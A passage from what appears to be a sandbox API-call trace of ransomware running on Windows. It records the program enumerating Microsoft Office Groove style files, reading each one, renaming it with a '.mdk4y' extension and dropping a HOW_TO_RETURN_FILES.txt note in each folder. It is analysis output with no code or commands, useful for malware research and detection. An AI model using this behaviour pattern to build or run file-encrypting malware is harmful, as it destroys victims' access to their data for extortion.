lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GrayCheck.csscss", lpUsedDefaultChar=0x37dd1c) returned 13 [0220.108] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829533800000) returned 1 [0220.108] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xeb0, lpOverlapped=0x0) returned 1 [0220.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829534000000) returned 1 [0220.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829534000000) returned 1 [0220.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css.mdk4y")) returned 1 [0220.111] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.111] AreFileApisANSI () returned 1 [0220.111] GetACP () returned 0x4e4 [0220.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GreenTea.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GreenTea.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0220.111] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829534200000) returned 1 [0220.112] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x762, lpOverlapped=0x0) returned 1 [0220.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829538300000) returned 1 [0220.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829538300000) returned 1 [0220.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css.mdk4y")) returned 1 [0220.154] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.154] AreFileApisANSI () returned 1 [0220.155] GetACP () returned 0x4e4 [0220.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LightSpirit.css", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LightSpirit.csss", lpUsedDefaultChar=0x37dd1c) returned 15 [0220.155] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829538600000) returned 1 [0220.156] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x7cf, lpOverlapped=0x0) returned 1 [0220.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829538700000) returned 1 [0220.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829538700000) returned 1 [0220.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css.mdk4y")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.158] AreFileApisANSI () returned 1 [0220.158] GetACP () returned 0x4e4 [0220.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LimetSpirit.css", lpUsedDefaultChar=0x37dd1c) returned 4 [0220.158] AreFileApisANSI () returned 1 [0220.158] GetACP () returned 0x4e4 [0220.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=100, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\\x02Ȁ") returned 100 [0220.159] AreFileApisANSI () returned 1 [0220.159] GetACP () returned 0x4e4 [0220.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.159] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.159] AreFileApisANSI () returned 1 [0220.159] GetACP () returned 0x4e4 [0220.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.159] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.159] AreFileApisANSI () returned 1 [0220.159] GetACP () returned 0x4e4 [0220.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0220.159] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539000000) returned 1 [0220.160] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ce, lpOverlapped=0x0) returned 1 [0220.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539000000) returned 1 [0220.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539000000) returned 1 [0220.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif.mdk4y")) returned 1 [0220.162] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.162] AreFileApisANSI () returned 1 [0220.162] GetACP () returned 0x4e4 [0220.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539200000) returned 1 [0220.162] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x10b, lpOverlapped=0x0) returned 1 [0220.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539500000) returned 1 [0220.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829539600000) returned 1 [0220.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif.mdk4y")) returned 1 [0220.167] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.167] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.168] AreFileApisANSI () returned 1 [0220.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 124 [0220.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.252] GetFileType (hFile=0x134) returned 0x1 [0220.253] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.253] AreFileApisANSI () returned 1 [0220.253] GetACP () returned 0x4e4 [0220.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Lime.cssrit.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0220.253] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829548400000) returned 1 [0220.254] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x1091, lpOverlapped=0x0) returned 1 [0220.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829552000000) returned 1 [0220.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829552000000) returned 1 [0220.291] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css.mdk4y")) returned 1 [0220.292] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.292] AreFileApisANSI () returned 1 [0220.292] GetACP () returned 0x4e4 [0220.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Maroon.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Maroon.csst.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0220.292] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829552500000) returned 1 [0220.295] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x720, lpOverlapped=0x0) returned 1 [0220.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829554500000) returned 1 [0220.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829554500000) returned 1 [0220.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css.mdk4y")) returned 1 [0220.317] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.317] AreFileApisANSI () returned 1 [0220.317] GetACP () returned 0x4e4 [0220.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Oasisn.css", lpUsedDefaultChar=0x37dd1c) returned 5 [0220.317] AreFileApisANSI () returned 1 [0220.317] GetACP () returned 0x4e4 [0220.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\Ȁ") returned 101 [0220.317] AreFileApisANSI () returned 1 [0220.317] GetACP () returned 0x4e4 [0220.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.317] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.317] AreFileApisANSI () returned 1 [0220.317] GetACP () returned 0x4e4 [0220.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.317] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.317] AreFileApisANSI () returned 1 [0220.317] GetACP () returned 0x4e4 [0220.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0220.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829554800000) returned 1 [0220.319] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x86c, lpOverlapped=0x0) returned 1 [0220.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829560600000) returned 1 [0220.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829560600000) returned 1 [0220.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif.mdk4y")) returned 1 [0220.378] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.378] AreFileApisANSI () returned 1 [0220.378] GetACP () returned 0x4e4 [0220.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0220.378] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829560900000) returned 1 [0220.379] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1f0, lpOverlapped=0x0) returned 1 [0220.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829561000000) returned 1 [0220.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829561000000) returned 1 [0220.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif.mdk4y")) returned 1 [0220.381] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.381] AreFileApisANSI () returned 1 [0220.381] GetACP () returned 0x4e4 [0220.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829561200000) returned 1 [0220.382] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x401, lpOverlapped=0x0) returned 1 [0220.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829561300000) returned 1 [0220.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829561300000) returned 1 [0220.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif.mdk4y")) returned 1 [0220.385] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.386] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.386] AreFileApisANSI () returned 1 [0220.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0220.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.387] GetFileType (hFile=0x134) returned 0x1 [0220.388] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.388] AreFileApisANSI () returned 1 [0220.388] GetACP () returned 0x4e4 